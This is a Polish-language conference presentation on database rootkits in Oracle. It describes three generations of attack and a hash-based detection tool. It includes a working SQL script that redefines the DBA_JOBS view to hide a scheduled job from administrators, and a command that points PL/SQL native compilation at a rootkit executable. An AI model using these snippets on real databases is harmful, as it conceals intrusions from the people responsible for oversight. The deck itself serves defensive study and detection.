Rootkity w bazach danych

Rootkity w bazach danych
sposoby ataków i obrony
autor: Przemysław Górski
Agenda







2
Rootkit - co to jest?
Podobieństwa pomiędzy OS i DB
Generacje rootkitów w bazach danych
Wykrywanie ataku
Aplikacja – omówienie
Aplikacja – przykład działania
Podsumowanie
Rootkit - co to jest?
rootkit (plural rootkits)
(computing) A set of software tools used by a
third party after gaining access to a computer
system in order to conceal the altering of files,
or processes being executed by the third party
without the user's knowledge.
Źródło :en.wiktionary.org
3
Podobieństwa pomiędzy OS i DB
Systemy operacyjne i systemy baz danych są podobne w swojej
architekturze. Obydwa posiadają:
Użytkowników
Procesy
Zadanie
Pliki
wykonywalne
Symboliczne linki
…
Bazy danych są „rodzajem systemu operacyjnego”
4
Podobieństwa pomiędzy OS i DB
Źródło: Black Hat 2006; Alexander Kornbrust
5
Generacje rootkitów bazodanowych

Pierwsza generacja
Modyfikacje w strukturach bazy danych –
modyfikacje kodu obiektów

Druga generacja
Modyfikacje dokonywane są w plikach binarnych
systemu bazy danych

Trzecia generacja
Modyfikacje dokonywane są w pamięci operacyjnej
w której składowane są obiekty bazy danych
6
Rootkit pierwszej generacji
Najprostszy atak na bazę danych Oracle:
„Insert into dual values (‘y’);”
Wady:
Natychmiastowy efekt działania
Ulepszenie:
Zastosowanie mechanizmu job’ów – skrypt ataku jest wykonywany w ustalonym
przez zakładającego job momencie.
Wada:
Ktoś może wykryć nadmiarowy job
Ulepszenie:
Ukrycie job’u przed innymi użytkownikami systemu (w szczególności przed DBA) –
zastosowanie rootkit’a pierwszej generacji
7
Rootkit pierwszej generacji
Skrypt pozwalający ukryć job:
CREATE OR REPLACE VIEW DBA_JOBS
(JOB, LOG_USER, PRIV_USER, SCHEMA_USER, LAST_DATE,
LAST_SEC, THIS_DATE, THIS_SEC, NEXT_DATE, NEXT_SEC,
TOTAL_TIME, BROKEN, INTERVAL, FAILURES, WHAT,
CURRENT_SESSION_LABEL, CLEARANCE_HI, CLEARANCE_LO, NLS_ENV, MISC_ENV)
AS
select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
LAST_DATE, substr(to_char(last_date,'HH24:MI:SS'),1,8) LAST_SEC,
THIS_DATE, substr(to_char(this_date,'HH24:MI:SS'),1,8) THIS_SEC,
NEXT_DATE, substr(to_char(next_date,'HH24:MI:SS'),1,8) NEXT_SEC,
(total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
decode(mod(FLAG,2),1,'Y',0,'N','?') BROKEN,
INTERVAL# interval, FAILURES, WHAT,
cur_ses_label CURRENT_SESSION_LABEL, CLEARANCE_HI, CLEARANCE_LO,
nlsenv NLS_ENV, env MISC_ENV
from sys.job$ j
where job <> 7
/
8
Rootkit pierwszej generacji
Istnieje kilka dróg przez które można stworzyć rootkit’a
pierwszej generacji. Najczęściej stosowanymi w tym
celu środkami są:
 modyfikacja obiektów w bazie danych
 zmiana ścieżki wykonywania poleceń
 zmiana zapytania SQL wykorzystując mechanizm
wirtualnych prywatnych baz danych (VPD)
9
Rootkit drugiej generacji
Przykład modyfikacji pliku binarnego w celu ukrycia użytkownika.
Źródło: Black Hat 2006; Alexander Kornbrust
10
Rootkit trzeciej generacji
Działanie kodu rootkita odbywa się tylko w pamięci operacyjnej, do której
dostęp jest możliwy tylko z poziomu systemu operacyjnego. Uruchomienie
kodu rootkita może jednak nastąpić z poziomu bazy danych.
W tym celu wykorzystany może być mechanizm pozwalający na
kompilacje kodu procedur PL/SQL z wykorzystaniem natywnych
kompilatorów systemu operacyjnego.
ALTER SYSTEM set plsql_native_make_utility=‘rootkit.exe’;
11
Wykrywanie ataku
Zaimplementowany sposób wykrywania ataku opiera się porównaniu
dwóch zestawów obliczonych sygnatur obiektów poddanych kontroli.
Sygnatura obiektu jest to zestaw nie powtarzalnych cech obiektu, nie
zmiennych w czasie oraz powiązanych z funkcjonalnością obiektu.
Przykład:
obiektu o typie SYNONYM– jako sygnatura obiektu brana pod uwagę jest
nazwa obiektu typ obiektu oraz nazwa obiektu do którego synonim się
odnosi
obiektu o typie TABLE – jako sygnatura to nazwa tabeli oraz nazwy
kolumn, typy danych w kolumnach oraz długość danych
przechowywanych w poszczególnych kolumnach.
12
Aplikacja – założenia
Przykładowe funkcje bezpieczeństwa realizowane przez aplikację są
następujące:
Sprawdzanie
obiektów przechowywanych w bazie danych
Sprawdzanie pakietów systemowych
Sprawdzanie synonimów
Sprawdzanie job’ów
Sprawdzanie triggerów
Sprawdzanie wykorzystania wrażliwych pakietów
Przykładowe założenia realizacyjne funkcji bezpieczeństwa:
Funkcje
bezpieczeństwa wykonuje pakiet PL/SQL eksportowany za każdym uruchomieniem
mechanizmu monitorowania do monitorowanej instancji bazy danych
Przechowywanie wyników działania programu poza monitorowanymi instancjami baz danych
lub wręcz przechowywanie wyników poza bzami danych.
13
Aplikacja - działanie
Architektura aplikacji
14
Aplikacja - działanie
Sposób działania aplikacji
15
Aplikacja – przykład działania
Uruchomienie aplikacji w trybie pobranie sygnatur referencyjnych
• Zasymulowanie działania rootkita po przez zainstalowanie widoku DBA_JOBS ze zmienionym
kodem
• Uruchomienie aplikacji w trybie porównania zbiorów sygnatur
•Wynik:
<Report_List>
<DBObject>
<ObjectID>78</ObjectID>
<ObjectRefName> DBA_JOBS</ObjectRefName>
<ObjectRefType>View</ObjectRefType>
<Reason>Nie zgadzająca się wartość funkcji skrótu</Reason>
<ObjectRefHash>36fe2e8339e715ed4e17f1d09d9532bb</ObjectRefHash>
<ObjectCountHash>36fe2e8339e715ed4e17f1d09d9532bc</ObjectCountHash>
</DBObject>
</Report_List>
•
16
Szerszy kontekst

Monitorowanie spójności środowisk w
organizacji
–
–
–

17
Wprowadzanie nie autoryzowanych poprawek do
kodu aplikacji
Kontrola działalności DBA na bazach danych
Funkcja kontrolna Release and Deployment
Management
Centralizacja wiedzy o stanie środowisk w
organizacji
Dalsze możliwe drogi rozwoju aplikacji





18
Automatyczne sprawdzanie środowisk
Możliwość definicji wyjątków
Dodanie możliwości sprawdzania danych w
określonych tabelach
Zwiększenie wydajności
Centralizacja nadawania i kontroli uprawnień
Dziękuję za uwagę
Pytania
19